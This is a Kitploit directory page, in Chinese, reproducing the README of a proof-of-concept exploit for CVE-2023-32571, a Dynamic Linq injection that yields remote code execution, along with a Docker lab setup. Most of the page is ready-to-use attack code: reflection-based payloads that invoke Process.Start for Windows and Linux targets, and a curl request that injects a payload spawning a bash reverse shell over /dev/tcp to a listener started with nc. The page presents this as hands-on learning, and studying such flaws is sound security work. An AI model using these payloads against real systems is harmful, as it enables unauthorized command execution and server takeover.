Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2023-32571-POC — 用于CVE-2023-32571的概念验证漏洞利用,演示了通过Dynamic Linq注入实现远程代码执行,并附带基于Docker的实验环境以供动手实践。 | Kitploit
工具/GitHubGitHub/vert16x/cve-2023-32571-poc
漏洞分析代码分析漏洞利用Web应用程序漏洞利用学习与教育Payload 开发实验室与实践
GitHubvert16x/cve-2023-32571-poc

CVE-2023-32571-POC

用于CVE-2023-32571的概念验证漏洞利用,演示了通过Dynamic Linq注入实现远程代码执行,并附带基于Docker的实验环境以供动手实践。

查看仓库
22年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Dynamic Linq injection to RCE - CVE-2023-32571

关于动态Linq注入导致RCE(CVE-2023-32571)

最近,NCC集团成员发现Dynamic Linq中的一个漏洞,允许攻击者通过Linq注入调用C#函数,从而实现远程代码执行(RCE)。

尽管有关于Dynamic Linq的RCE报告,但NCC集团成员出于某种原因没有发布用于执行命令的POC。

POC

正如NCC集团研究所述,我们可以通过"Invoke"调用C#方法。这样,我们可以调用"System.Diagnostics.Process.Start"并在服务器上执行命令。

我们可以使用"CreateInstanceFromAndUnwrap"方法通过程序集调用System.Diagnostics.Process。

使用System.AppDomain.CreateInstanceAndUnwrap方法的Payload:

root@kitploit:~
"".GetType().Assembly.DefinedTypes.1Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First()

通过CreateInstanceAndUnwrap方法调用System.Diagnostics.Process的Payload:

root@kitploit:~
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray()))

通过访问System.Diagnostics.Process类的方法,我们可以使用System.Diagnostics.Process.Start方法在系统上执行命令:

root@kitploit:~
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "cmd.exe;/c calc.exe".Split(";".ToCharArray()))

注意:该Payload查找前3个Start方法并取最后一个。我这样做是因为System.Diagnostics.Process中的方法列表有多个Start方法,我们需要的那个是列表中的第三个。

最终Payload

Windows目标

root@kitploit:~
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "cmd.exe;/c <command-here>".Split(";".ToCharArray()))

Linux目标
root@kitploit:~
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "bash;-c <command-here>".Split(";".ToCharArray()))

启动实验室,请按照说明操作

安装Docker和Docker-Compose:

Debian

root@kitploit:~
sudo apt update -y && sudo apt install docker.io docker-compose -y

Arch Linux
root@kitploit:~
sudo pacman -Syu && sudo pacman -S docker docker-compose

克隆此仓库:

root@kitploit:~
git clone https://github.com/Tris0n/CVE-2023-32571-POC

进入仓库目录:
root@kitploit:~
cd CVE-2023-32571-POC

运行Docker-Compose:
root@kitploit:~
sudo docker-compose up --build

应用程序启动在 http://localhost:8000/

实验室报告

通过POST方法访问"/api/products"路由,我们看到它返回一个产品列表:

root@kitploit:~
curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{}' http://localhost:8000/api/products

01 pn

通过在JSON中发送name参数,我们可以过滤产品:

root@kitploit:~
curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{"name": "nana"}' http://localhost:8000/api/products

02

经过一些测试,我们发现能够成功注入到Dynamic Linq查询中。通过发送下面的Payload,我们获得了反向shell:

root@kitploit:~
curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{"name": "\") && \"\".GetType().Assembly.DefinedTypes.Where(it.Name == \"AppDomain\").First().DeclaredMethods.Where(it.Name == \"CreateInstanceAndUnwrap\").First().Invoke(\"\".GetType().Assembly.DefinedTypes.Where(it.Name == \"AppDomain\").First().DeclaredProperties.Where(it.name == \"CurrentDomain\").First().GetValue(null), \"System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process\".Split(\";\".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == \"Process\").First().DeclaredMethods.Where(it.name == \"Start\").Take(3).Last().Invoke(null, \"/bin/bash;-c \\\"bash -i >& /dev/tcp/172.17.0.1/8001 0>&1\\\"\".Split(\";\".ToCharArray())).GetType().ToString() == (\""}' http://localhost:8000/api/products

03

root@kitploit:~
nc -lvp 8001

04

下载工具